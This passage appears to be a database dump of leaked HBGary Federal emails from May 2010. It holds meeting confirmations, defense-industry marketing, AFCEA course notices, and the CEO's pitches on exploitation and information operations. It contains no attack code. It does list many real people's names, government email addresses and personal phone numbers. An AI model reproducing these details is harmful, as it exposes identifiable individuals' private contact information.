the clients standard hourly rate.Thank you for contacting HQ. We look forward to welcoming you soon.The information in this email is confidential and may also be privileged. If you are not the intended recipient please notify us immediately.Please review the terms and conditions for HQ Global Workplaces, LLC ',2782,'aaron_hbgary_com/2782.html'),(6253,'2010-05-12','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004468.M699033P14101Q1108.eml','\"Leibner, Lincoln D LTC MIL USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>,\"Aaron Barr\" <aaron@hbgary.com>','Confirming meetng today at 1200 at SCO','\r\n\r\n\r\n\r\n\r\nConfirming meetng today at 1200 at SCO\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nDirector, Cyber Programs\r\n\r\nSpecial Capabilities Office\r\n\r\nNIPR: irving.lachow@osd.mil\r\n\r\nSIPR: irving.lachow@osd.smil.mil\r\n\r\nJWICS: irving.lachow@osdj.ic.gov\r\n\r\nOffice:&nbsp; (703) 746-1226\r\n\r\nCell:&nbsp; (202) 556-0591\r\n\r\n\r\n\r\n\r\n\r\n\r\n',605,'aaron_hbgary_com/605.html'),(6254,'2010-05-12','mailing@qosmos.com','/aaron@hbgary.com/new/1297004469.M126199P14101Q1109.eml','aaron@hbgary.com','Meet Qosmos at Cyber Defense, Tallinn, May 17-18','\r\nDiscover how governments can strengthen their\r\ncyber defense with Network Intelligence at Cyber Defense, Tallinn, Estonia, May\r\n17-18More details at the Qosmos\r\npresentation on Monday May 17th at 15:00: Hardening Government\r\nCyber Defense \r\n\r\n  The challenges of government cyber defense \r\n  The limitations of COTS solutions \r\n  Adding an additional, custom-built, cyber defense\r\n  barrier \r\n  Complementarities between custom developments and\r\n  COTS solutions \r\n  Examples of technical\r\nimplementationsIf you would like to\r\ndiscuss this further or get a copy of the presentation, please feel free to contact\r\nus.Best Regards,The Qosmos TeamClick here to unsubscribe\r\n\r\n\r\n',16250,'aaron_hbgary_com/16250.html'),(6255,'2010-05-12','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297004469.M408123P14101Q1110.eml','aaron@hbgary.com','Less than 24 hrs left to register for May 14 Lunch with BG Lee Price, PEO C3T, U.S. Army - Sheraton, Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     May \r\n        14 (Fri), 2010 -- AFCEA NOVA Monthly Luncheon\r\nLess than 24 hrs left to register.  Closes 9am Thurs.\r\n      Speaker:\r\n        \r\n        BG N. Lee S. Price\r\n        Program Executive Officer for Command, Control, Communications \r\n        (Tactical) (PEO C3T)\r\n        U.S. Army\r\n        (speaker biography) \r\n         \r\n        \r\n      Register \r\n        Online Now\r\n        (as always, Gratis to Gov/Mil employees)\r\n      \r\n      \r\n        \r\n          DETAILS\r\n            WHEN:\r\n              Friday, \r\n              May 14, 2010\r\n              11:30am - Check-In &amp; Reception\r\n              12:00n - 1:30pm - Luncheon &amp; Program\r\n            \r\n              WHERE:\r\n              Sheraton \r\n              Premiere at Tysons Corner\r\n              8661 Leesburg Pike\r\n              Vienna, Virginia 22180\r\n            \r\n              COST:\r\n              Industry Member Pre-Registered -- $35\r\n              Industry Non-member Pre-Registered -- $40\r\n              Industry Member Walk-in -- $40 (if space is available)\r\n              Industry Non-member Walk-in -- $45 (if space is available)\r\n              Government Reservations -- Gratis (but we need you to pre-register \r\n              to attend)\r\n            It is not necessary \r\n              to be a member of AFCEA to attend the monthly luncheons... But once \r\n              you come to an event, we think you\'ll want to join us!\r\n            SHUTTLE-RIDE \r\n              FROM THE PENTAGON:\r\n              AFCEA NOVA offers a shuttle-ride service between the Pentagon and the \r\n              Sheraton for luncheon attendees. The drivers will depart the Pentagon \r\n              at 1105 for the Sheraton and departs the Sheraton at 1330 for return \r\n              to the Pentagon by 1400. To sign up for a ride from the Pentagon, please 1) Register \r\n              for the Luncheon, and then 2) Fill \r\n              out the separate Shuttle Registration Form, which goes to \r\n              our VP for Govt affairs team.\r\n            Register \r\n              Online Now\r\n            &nbsp;\r\n            AFCEA \r\n              NOVA Corporate Table Holders\r\n              \r\n              \r\n            \r\n        \r\n      \r\n      \r\n         \r\n          \r\n          &nbsp;\r\n        \r\n         \r\n          2009-2010 \r\n              Multi-Table Sponsors\r\n        \r\n         \r\n           \r\n              Booz Allen Hamilton \r\n          \r\n              General Dynamics\r\n              \r\n              \r\n        \r\n         \r\n          \r\n        \r\n         \r\n          2009-2010 \r\n              Full-Table Sponsors\r\n        \r\n         \r\n          \r\n              AT&amp;T\r\n              BAE Systems\r\n              Bomgar \r\n              Booz Allen Hamilton\r\n              Booz Allen Hamilton\r\n              Brocade\r\n              CACI\r\n              CompTIA\r\n              Deloitte\r\n              DLT Solutions, Inc.\r\n              Eclat\r\n              Fairfax Co Economic Development Authority \r\n              General Dynamics\r\n              General Dynamics IT\r\n            &nbsp;\r\n            \r\n            \r\n            \r\n            GTSI / NetApp\r\n            Harris\r\n            HP\r\n            IBM \r\n            immixGroup\r\n            ITT\r\n            Kratos Defense &amp; Security\r\n            Lockheed Martin\r\n            Nortel Government Solutions\r\n            Northrop Grumman\r\n            QinetiQ North America\r\n            SAIC\r\n            Segovia \r\n            Sybase\r\n            Verizon Business\r\n            \r\n            \r\n        \r\n         \r\n          2009-2010 \r\n            Half-Table Sponsors\r\n        \r\n         \r\n          Accenture\r\n              Adobe Systems\r\n              Akamai Technologies\r\n              Alion Science and Technology\r\n              ASM Research\r\n              ASSYST\r\n              Bamboo Solutions\r\n              Brandon Technology Consulting\r\n              CA, Inc.\r\n              CDW\r\n              Ciena \r\n              Cisco\r\n              Copper River Information Technology\r\n              CSC\r\n              Data Systems &amp; Technology\r\n              FedSources \r\n              Femme Comp\r\n              Fluke Networks\r\n              Fujitsu Network Communications\r\n              Global Broadband Solutions\r\n              Graybar/Tyco \r\n              iDirect Government Technologies\r\n              iGov\r\n              InfoZen \r\n              INPUT \r\n              InTec\r\n              Intellifiber Networks\r\n              Juniper Networks\r\n              L-3 Enterprise IT Solutions\r\n              L-3 GS&amp;ES\r\n              Level 3 Communications\r\n            \r\n               \r\n            \r\n          LGS \r\n              Innovations\r\n              MorganFranklin\r\n              NCI Information Systems\r\n              Next Tier Concepts \r\n              NetStar-1\r\n              NJVC\r\n              NOVA Corporation\r\n              Parabon Computation\r\n              Paragon Communications Solutions\r\n              Perot Systems\r\n              Pragmatics\r\n              Quest Software\r\n              Qwest Government Services\r\n              SDV Solutions\r\n              SecureInfo Corporation\r\n              Security University\r\n              Senior Executive Services\r\n              Solers\r\n              Sprint\r\n              SRA International\r\n              STG, Inc.\r\n              Symantec\r\n              TCoombs &amp; Associates\r\n              TechTeam Government Solutions\r\n              Trusted Computer Solutions\r\n              Ultra Electronics-Criticom\r\n              Unisys\r\n              Vangent\r\n              Vision Technologies\r\n              Whitney, Bradley &amp; Brown\r\n               \r\n        \r\n      \r\n      Shouldn\'t \r\n        Your Company Be Listed Above as a Monthly Table Holder?\r\n        Sign \r\n        Up Online Today!\r\n      Volunteer \r\n        with AFCEA NOVA\r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n                  \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                &nbsp;\r\n                  May \r\n                    Monthly Lunch w/ BG Lee Price, PEO C3T, U.S. Army\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    May 14 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  SAVE \r\n                    THE DATE:\r\n                    Young AFCEANS Mentor-Protege Night\r\n                  Maggiano\'s\r\n                    Tysons Corner,\r\n                    Jun 3 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  SAVE \r\n                    THE DATE:\r\n                    Small Business Breakfast\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 8 (Tue), 2010\r\n                  &nbsp;\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  SAVE \r\n                    THE DATE:\r\n                    June 2010 Monthly Luncheon\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 11 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  SAVE \r\n                    THE DATE:\r\n                    Executive Round Table for Corp Table Holders Only\r\n                  Army-Navy \r\n                    Country Club, Arlington, VA,\r\n                    Jun 15 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  SAVE \r\n                    THE DATE:\r\n                    Combat Support IT Day, 2nd Annual Conference\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jul 15 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n              \r\n                All \r\n                  Upcoming events...\r\n              \r\n            \r\n        \r\n       \r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',10533,'aaron_hbgary_com/10533.html'),(6256,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004469.M675350P14101Q1111.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','REBL','Hi Scott,\r\n\r\nJust checking in to see if the topic I listed is of any interest.  If not thats fine.  I know you would prefer a state of Malware talk, and with most audiences I would be just fine to do that talk, but with your audience I just don\'t think I could talk at the level that would be most beneficial.  If just briefly I would like to stop by and give you a brief overview of my background in the area of new media, exploitation, and persistent internet operations, its somewhat unique.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5497,'aaron_hbgary_com/5497.html'),(6257,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004469.M961572P14101Q1112.eml','\"Aaron Barr\" <aaron@hbgary.com>','stuff','HBGary Federal\r\nFull Spectrum Cyber Operations\r\nOur adversaries today have a distinct advantage in the cyber domain.  They are well funded, experienced, and have far less restrictions on their methods of cyber attack and exploitation.  We have watched the adversaries attacks evolve, watched as they learned by doing.  Cyber operations is like any other combat scenario, it requires the head, the shield, and the sword to work in unison, if any of these are hindered, the odds of successfully gaining advantage over your adversary decrease significantly.  Using this metaphor, today we are fighting a cyber war deficient in each of these areas.  It is the goal of HBGary Federal to provide capabilities to improve \r\n\r\nThreat Intelligence - Head\r\n\r\nIncident Response - Shield\r\n\r\nInformation Operations - Sword\r\nSoftware Vulnerability Analysis and Exploit Development\r\n\r\n\r\nA full integration of cyber capabilities is required to combat an evolving threat.  This requires experience and capabilities in putting boots on the ground, conducting incident response engagements, developing and deploying full spectrum information operations capabilities, and integrating parallel cyber domains to provide comprehensive threat intelligence.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10043,'aaron_hbgary_com/10043.html'),(6258,'2010-05-12','\"Liz Losi\" <liz.losi@carahsoft.com>','/aaron@hbgary.com/new/1297004470.M295958P14101Q1113.eml','\"Aaron Barr\" <aaron@hbgary.com>','Saratoga Data Systems: Ensuring Terrorist Watch Lists are Available in Record Time','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n			\r\n			Dear Aaron, \r\n			\r\n			In the recent media, terrorist watch lists play a significant role in keeping our borders safe by preventing attacks within the homeland. Outside, the latest persons of interest assessment is critical to combatant commanders, operators, and U.S. forces to efficiently and decisively complete the mission. \r\n			\r\n			One of the biggest challenges for current watch lists in theatre is low-bandwidth, often unreliable communications networks. Saratoga Data\'s Flume, will help keep these worldwide watch lists up to date. Flume is a patent-pending protocol that avoids latency and deals with the intermittency found on many distant communications networks. Flume will synchronize all formats of data throughout theatre and CONUS up to 100x faster and absolute data accuracy.\r\n			\r\n			Flume is a 100% software solution that improves bandwidth and network performance for companies like Standard and Poors, Intel, Panasonic, and AMD. For DoD, Flume provides more than 3x acceleration on JTRS and 10x on SATCOM. Flume also performs well on mesh networks and highly intermittent conditions. \r\n			\r\n			What differentiates&nbsp;Saratoga Data\'s Flume? \r\n			\r\n			&bull; Flume accelerates data transmission and synchronization from 3 - 1000x, end-to-end, across all IP networks* (most competing approaches cannot improve transmission throughout all connections of multi-hop communications links) \r\n			&bull; Flume costs significantly less than competing approaches, since it is 100% software, and does not require any specialized hardware and can operate on your existing infrastructure \r\n			&bull; Can be centrally deployed and managed, to boost acceleration for thousands of users with minimal headcount and no end-user training\r\n			&bull; Flume supports all data types and assures all data transmissions are 100% accurate, even in highly intermittent environments\r\n			\r\n			Saratoga is also offering Pilot Programs, making it easy to start accelerating your data.\r\n			\r\n			For information on how you can evaluate Saratoga Data Flume in your agency, please email me at liz.losi@carahsoft.com or call my direct line, (703) 230-7427. \r\n			\r\n			Sincerely, \r\n			\r\n			Liz Losi \r\n			Saratoga Data Systems at Carahsoft \r\n			703-230-7427 (Direct) \r\n			888-662-2724 (Toll-Free) \r\n			liz.losi@carahsoft.com \r\n			www.carahsoft.com/saratogadata/ \r\n			\r\n			* Most WANS are connected via multiple routers with varying bandwidth, traffic and congestion throughout the network. When connecting WANS to wireless, 3G, JTRs, radio over IP, or satellite links, most competing approaches will slow down as data passes through the different network zones or &quot;hops&quot; throughout the connection. Data transmissions accelerated by &quot;Flume&quot; in these scenarios are not impacted.\r\n			\r\n			\r\n			&nbsp;\r\n			\r\n			\r\n		\r\n	\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',11917,'aaron_hbgary_com/11917.html'),(6259,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004470.M594930P14101Q1114.eml','\"Aaron Barr\" <adbarr@mac.com>','','Gov2.0 dc may 25-27\r\n\r\n\r\n From my iPhone\r\n',11485,'aaron_hbgary_com/11485.html'),(6260,'2010-05-12','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297004470.M863101P14101Q1115.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Topic','Aaron,\r\n\r\nActually, I believe your topic would be relevant.  I\'m still hoping to\r\nrecruit a \"state of malware\" talk but that is a separate issue.  Look\r\nforward to discussing your brief with you tomorrow.\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 9:30 AM\r\nTo: Scott K. Brown\r\nSubject: Topic\r\n\r\nHi Scott,\r\n\r\nSorry I missed you the other day.  I know you weren\'t terribly keen on the\r\ntopic I proposed.  If we can talk on Monday that would be great.  If I could\r\nmeet you up in your spaces sometime next week that would be good to.  I\r\nwould like to give you a little bit of information on my background and also\r\ngive you a little more detail about another topic which I am very familiar\r\nwith:\r\n\r\nNew Media, exploitation, and persistent internet operations\r\n\r\nI have a badge as well.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11220,'aaron_hbgary_com/11220.html'),(6261,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004471.M183023P14101Q1116.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Topic','Sent from my iPadBegin forwarded message:From: &quot;Scott K. Brown&quot; &lt;sbrown@dewnet.ncsc.mil&gt;\r\nDate: May 12, 2010 9:45:47 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Topic\r\nAaron,Actually, I believe your topic would be relevant.  I&#39;m still hoping torecruit a &quot;state of malware&quot; talk but that is a separate issue.  Look\r\nforward to discussing your brief with you tomorrow.Scott-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 9:30 AMTo: Scott K. BrownSubject: TopicHi Scott,Sorry I missed you the other day.  I know you weren&#39;t terribly keen on the\r\ntopic I proposed.  If we can talk on Monday that would be great.  If I couldmeet you up in your spaces sometime next week that would be good to.  Iwould like to give you a little bit of information on my background and also\r\ngive you a little more detail about another topic which I am very familiarwith:New Media, exploitation, and persistent internet operations\r\nI have a badge as well.Aaron BarrCEOHBGary Federal Inc.\r\n',7306,'aaron_hbgary_com/7306.html'),(6262,'2010-05-12','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004471.M467283P14101Q1117.eml','\"Aaron Barr\" <aaron@hbgary.com>','Meeting with Nart today','Dear Aaron,I believe you are meeting with Nart today at 2pm, just wanted to confirm that.Best,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n',16183,'aaron_hbgary_com/16183.html'),(6263,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004471.M698817P14101Q1118.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: Meeting with Nart today','Yes we have a meeting set for 2pm in tysons.AaronFrom my iPhoneOn May 12, 2010, at 10:59 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nDear Aaron,I believe you are meeting with Nart today at 2pm, just wanted to confirm that.Best,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n',8148,'aaron_hbgary_com/8148.html'),(6264,'2010-05-12','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297004471.M978017P14101Q1119.eml','L.Aulbach@cipher-sys.com,L.Aulbach@cipher-sys.com,,','RE: Meet next week?','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLindsay,\r\n\r\n&nbsp;\r\n\r\nWe may need to cancel, I have a few people out of town that are\r\ncritical.  I will get back to you later today.  If we can’t make it work are\r\nthere any days/times next week that will work?\r\n\r\n&nbsp;\r\n\r\nJohn Lovegrove\r\n\r\nDirector\r\n\r\nOffice: (703) 449-3812\r\n\r\nCell: (571) 294-5154\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the\r\nexclusive use of the person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is not the\r\nintended recipient or his or her authorized agent, the reader is hereby\r\nnotified that any dissemination, distribution or copying of this e-mail is prohibited.\r\nIf you think that you have received this e-mail in error, please advise the\r\nsender by reply e-mail of the error and then delete this e-mail immediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom:\r\nL.Aulbach@cipher-sys.com [mailto:L.Aulbach@cipher-sys.com] \r\nSent: Wednesday, May 12, 2010 10:51 AM\r\nTo: Lovegrove, John (TASC)\r\nSubject: Fw: Meet next week?\r\nImportance: High\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nJohn, \r\n\r\nAre you still\r\navailable to meet with Peter on Friday? I had suggested 1:30p.m. Please\r\nconfirm. \r\n\r\nLindsay\r\n\r\nLindsay Aulbach\r\nExecutive Assistant\r\nCipher Systems, LLC\r\n2661 Riva Road, Building 1000 5th Floor\r\nAnnapolis, MD 21401\r\n410-412-3326- phone\r\n410-897-1066 - fax\r\nhttp://www.cipher-sys.com\r\n\r\n______________________________________________________________________________________________\r\n\r\nThis electronic message contains information from Cipher Systems, LLC. that may\r\nbe privileged or company \r\nconfidential and are intended &nbsp;for the use of the intended addressee(s)\r\nonly. If you are not an intended addressee, \r\nnote that any disclosure, copying, distribution, or use of the contents of this\r\nmessage is prohibited. \r\n______________________________________________________________________________________________\r\n\r\n-----\r\nForwarded by Lindsay Aulbach/Cipher on 05/12/2010 10:49 AM ----- \r\n\r\n\r\n \r\n  \r\n  Lindsay\r\n  Aulbach/Cipher\r\n  \r\n  05/07/2010\r\n  03:59 PM \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    To\r\n    \r\n    \r\n    John.Lovegrove@tasc.com\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    cc\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Subject\r\n    \r\n    \r\n    Fw:\r\n    Meet next week?\r\n    \r\n   \r\n  \r\n  &nbsp;\r\n  \r\n   \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\nJohn, \r\n\r\nPeter is\r\navailable to meet Friday at 1:30pm if that works on your end. &nbsp;Just to\r\nconfirm, the correct location is 4803 Stonecroft Blvd Chantilly, VA 20151?\r\n\r\n\r\nBest, \r\nLindsay\r\n\r\n\r\nLindsay Aulbach\r\nExecutive Assistant\r\nCipher Systems, LLC\r\n2661 Riva Road, Building 1000 5th Floor\r\nAnnapolis, MD 21401\r\n410-412-3326- phone\r\n410-897-1066 - fax\r\nhttp://www.cipher-sys.com\r\n\r\n______________________________________________________________________________________________\r\n\r\nThis electronic message contains information from Cipher Systems, LLC. that may\r\nbe privileged or company \r\nconfidential and are intended &nbsp;for the use of the intended addressee(s)\r\nonly. If you are not an intended addressee, \r\nnote that any disclosure, copying, distribution, or use of the contents of this\r\nmessage is prohibited. \r\n______________________________________________________________________________________________\r\n\r\n-----\r\nForwarded by Lindsay Aulbach/Cipher on 05/07/2010 03:54 PM ----- \r\n\r\n\r\n \r\n  \r\n  &quot;Lovegrove,\r\n  John (TASC)&quot; &lt;John.Lovegrove@tasc.com&gt; \r\n  05/07/2010\r\n  11:14 AM \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    To\r\n    \r\n    \r\n    &lt;p.mckenney@cipher-sys.com&gt;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    cc\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Subject\r\n    \r\n    \r\n    Meet\r\n    next week?\r\n    \r\n   \r\n  \r\n  &nbsp;\r\n  \r\n   \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\nPeter, \r\n&nbsp;\r\n\r\nCan you meet\r\nwith us next week to talk about COIN? &nbsp;Thursday or Friday will probably be\r\nbest. &nbsp;Also, I am embarrassed to admit that I deleted your message before\r\nI wrote down the other subjects you want to discuss, can you send me a\r\nreminder? &nbsp;I’d like to get those discussions scheduled at the same time.\r\n\r\n&nbsp;\r\n\r\nWR \r\n&nbsp;\r\n\r\nJohn\r\nLovegrove \r\nDirector\r\n\r\nOffice: (703)\r\n449-3812 \r\nCell: (571)\r\n294-5154 \r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nTASC\r\nINTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of the\r\nperson or entity to whom it is addressed and may contain confidential or\r\nprivileged information. If the reader of this e-mail is not the intended\r\nrecipient or his or her authorized agent, the reader is hereby notified that\r\nany dissemination, distribution or copying of this e-mail is prohibited. If you\r\nthink that you have received this e-mail in error, please advise the sender by\r\nreply e-mail of the error and then delete this e-mail immediately. \r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14685,'aaron_hbgary_com/14685.html'),(6265,'2010-05-12','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004472.M256766P14101Q1120.eml','aaron@hbgary.com','AFCEA Offers Two Levels of Intelligence Support to Cyber Conflict','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n               \r\n                   \r\n          \r\n AFCEA Offers Two Courses On Intelligence Support to Cyber Conflict\r\n&nbsp;\r\n204 Basic Intelligence Support to Cyber Conflict; June 21.\r\nBasic Intelligence Support to Cyber Conflict is an unclassified 1-day introduction to intelligence support to warfare conducted in cyberspace, and addresses computer network attack, defense, and exploitation&nbsp; It is intended for individuals starting a career in the field or who are interested in separating the hype from the reality of intelligence in cyberspace. This course covers the nature of cyberspace;&nbsp; understanding cyber attacks and U.S. adversaries in cyberspace;&nbsp; and intelligence support to computer network defense and offense, including indications &amp; warning (I&amp;W) and battle damage assessment (BDA). \r\n206 Advanced Intelligence Support to Cyber Conflict; June 24-25. \r\nAdvanced Intelligence Support to Cyber Conflict is an unclassified 2-day course that will bring students up-to-date on the status of the cyber issue before diving into more complex material. Topics include strategic warfare in cyberspace, deterrence and arms control, interagency collaboration at the White House and with national agencies, increasing intelligence support to the private sector, and other advanced topics, leaving significant time for group exercises and discussion. It is intended for individuals with a minimum of four years\' experience. \r\n\r\n\r\n    Other courses offered in May, June, and July:\r\n    380 Topics in Information Security of interest to the Military; May 19-20.\r\n760 TEMPEST Threat Management; May 19-20. A final secret clearance is required to attend this course.\r\n515 Electromagnetic Environmental Effects (E3) and Spectrum Supportability (SS) for Program Managers; May 26.\r\n603 Data Mining Technologies and Applications in Business Intelligence and NAtional Security; June 2-4.\r\n382  (ISC) 2 DoD CAP - Certification and Accreditation Professionals; June 2-4.\r\n902 NEW! Project Management Professional;&nbsp;June 7-11.\r\n381 CompTIA Security+ (2008) Edition Certification Course; June 7-10. EXAM on June 11.&nbsp; There is a separate registration and tuition.&nbsp; See attached link:&nbsp; Comp TIA Security+ EXAM Registration\r\n905 NEW! Post 9/11 Compliance and Security in the Global Supply Chain - Best Practices in&nbsp;Leadership and Management; June 16-17.\r\n507 NEW! Software Quality Assurance and Improvement;&nbsp; July 7-9.\r\n386 NEW!&nbsp; NIST 800-37 - Security Certification and Accreditation of Federal Information Systems; July 13-16.\r\n387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\n650 Cyber Security - The Building Block of IT; NEW DATE July 20 - 23.\r\n388 NEW! Advanced Cyber Network Defense Training; July 27-30.\r\nAll courses will be held in Fairfax, VA unless otherwise noted. \r\nFor full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n            \r\n          Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland at: 703-631-6137.\r\n\r\n                    \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n	\r\n	  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n',7233,'aaron_hbgary_com/7233.html'),(6266,'2010-05-12','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004475.M278337P14101Q1121.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: Security Stuff','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Tuesday, May 11, 2010 8:09 PM\r\nSubject: Security Stuff\r\n\r\nEveryone\r\nThe attachments are to enhance your already excellent security 